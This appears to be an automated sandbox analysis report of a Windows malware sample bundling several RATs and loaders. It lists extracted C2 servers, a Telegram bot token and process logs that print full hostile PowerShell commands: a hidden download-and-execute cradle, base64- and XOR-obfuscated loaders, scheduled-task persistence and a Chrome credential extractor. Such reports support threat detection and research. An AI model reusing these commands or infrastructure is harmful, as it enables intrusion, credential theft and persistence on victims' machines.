Analysis
- user interaction
yes - max time kernel
149s - max time network
155s - platform
windows11-21h2_x64 - resource
win11-20260513-uk - resource tags
- submitted
22/05/2026, 01:10
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260522-bjb1xaet61
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://89.125.188.171/div/53.ps1
Extracted
-
xworm
-
XWorm V6.4 by omniz
-
176.65.139.194:6000
-
Install_directory
%ProgramData%
-
install_file
VAL-VIP.exe
-
telegram
https://api.telegram.org/bot8611050857:AAFOF2HZ4T731Np6V7PhjDP1PpcRHz1RrTM/sendMessage?chat_id=8353594328
Extracted
-
metasploit
-
metasploit_stager
-
104.131.37.178:443
Extracted
-
xworm
-
209.145.51.44:7000
-
qaA60TVolmeexQD8
-
install_file
USB.exe
Extracted
-
koiloader
-
http://5.101.82.4/sparkles.php
-
payload_url
https://kavacanada.ca/catalog/model
Extracted
-
quasar
-
encryption_key
DAB3121B6A50A539543675F89440074F0318A96D
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
-
cobaltstrike
-
100000000
-
http://51.77.77.161:443/sitemap.xml
-
access_type
512
-
beacon_type
2048
-
host
51.77.77.161,/sitemap.xml
-
http_header1
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAIVJlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwLwAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAABwAAAAAAAAANAAAAAgAAAARZU0M9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAAFJBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44AAAAEAAAABVIb3N0OiB3d3cueWFob28uY28uanAAAAAKAAAAJ1JlZmVyZXI6IGh0dHBzOi8vd3d3LnlhaG9vLmNvLmpwL3NlYXJjaAAAAAoAAAAiQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBicgAAAAoAAAB7VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2AAAACgAAADRBY2NlcHQtTGFuZ3VhZ2U6IGphLUpQLGphO3E9MC45LGVuLVVTO3E9MC44LGVuO3E9MC43AAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAAAAAAADwAAAA0AAAAFAAAABHlzaWQAAAAHAAAAAQAAAA8AAAANAAAABAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
jitter
9472
-
polling_time
45000
-
port_number
443
-
sc_process32
%windir%\syswow64\dllhost.exe
-
sc_process64
%windir%\sysnative\dllhost.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnrqnRgLeqPpa2wJGQmftPgeWvFyCCFjULPdTAZQEcqNKgdO0HMT0bB67vQA1xgd1gikHOjzLkBeM3aPIwnDvMP5lH8Zxk+5t6qt4OYGlVoU9vBDwTcXRIMVXHuvvABcaH71IjHfEp3Veqqhs0pcTLabHGtzcBqmzfhmfpqFDgWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
3.24408576e+08
-
unknown2
AAAABAAAAAEAAABVAAAAAgAAAGMAAAANAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/robots.txt
-
user_agent
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
-
watermark
100000000
Extracted
-
quasar
-
1.4.1
-
RuntimeBroker
-
wisedreams-53895.portmap.io:53895
-
3660874b-db54-4220-a432-d5fe6599ee7f
-
encryption_key
2EEF46A138D721E58A3C90F6CE7CFC94A47B0492
-
install_name
updater.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
RuntimeBroker
-
subdirectory
SubDir
Signatures
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: KoiLoader
KoiLoader is a malware loader written in C++.
- Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Family: MythicApollo
Mythic Apollo is a Windows agent written in C# for the Mythic C2 framework, used in SpecterOps training.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 1 IoCs
- Detect Xworm Payload 3 IoCs
- Detects DonutLoader 1 IoCs
- Detects KoiLoader payload 1 IoCs
- Detects MythicApollo 3 IoCs
- Quasar payload 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 26 IoCs
Using powershell.exe command.
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Loads dropped DLL 21 IoCs
- Themida packer 4 IoCs
Detects Themida, an advanced Windows software protection system.
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- UPX packed file 12 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Event Triggered Execution: Installer Packages 2 TTPs 20 IoCs
- Program crash 6 IoCs
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 6 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 2 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies registry key 1 TTPs 2 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 14 IoCs
- Suspicious use of SendNotifyMessage 14 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\shell.exeshell.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sudohold.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBBADMAWQBvAE4ANgB5AFEAOABZAHUAUgA5ADEANAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBPADkAUQByAHQAMwBJADcAZABxADIATAA3AHAAYQAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBf#AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQAnACAAKwAgACcAUwBFACcAIAAf#ACAAJwA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQA7AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcATQBzAGIAdQBpAGwAZAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AYQBhAGUAcAB5AHQAZABsAG8AaAAvAG4AaQBhAG0ALwB3AGEAcgAvAC0ALwAyAHQAYwBlAGoAbwByAHAALQBlAHAAeQB0AG4AbwBtAG8AZAB1AHMALwBlAHAAeQB0AG4AbwBtAG8AZAB1AHMALwBtAG8AYwAuAGIAYQBsAHQAaQBnAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAwACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c prueba%202.cmd3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\a\prueba%202.cmd" /min4⤵
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "CorpUpdateWatcher" /F5⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN "CorpUpdateWatcher" /SC MINUTE /MO 40 /TR "\"C:\Users\Admin\AppData\Local\CorpUpdates\UpdateWatcher.cmd\" /min /tick" /RL LIMITED /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c seend.bat3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exenet_launcher.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe MaybeWorking.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe DetectionRateTesting.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f63a4ae1cbc0bfa1.exefile_f63a4ae1cbc0bfa1.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Lak2oes'); iex ($wc.DownloadString('http://89.125.188.171/div/53.ps1')) 2>$null"4⤵
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Lak2oes'); iex ($wc.DownloadString('http://89.125.188.171/div/53.ps1')) 2>$null"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exevnc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\52.exe52.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exesupport.client.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c WindowsLogonService.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:rBIsWvhris;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'txUVnRbZxg' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\5252.exe5252.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\PLE2F8.tmp"C:\Users\Admin\AppData\Local\Temp\PLE2F8.tmp"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chcp 65001 > nul5⤵
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\chromelevator.exe"C:\Users\Admin\AppData\Local\Temp\chromelevator.exe" chrome --output-path "C:\Users\Admin\AppData\Local\Temp\\Winapi\Browsers\Chrome_raw" --kill5⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe verycleaneffectivethingscoming.hta3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe givemegoodpersoninlifeforlove.hta3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\hey.exehey.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe girlgoodforme.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sunwukongs.exesunwukongs.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe simplecreationsforme.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pjibf.exePjibf.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc 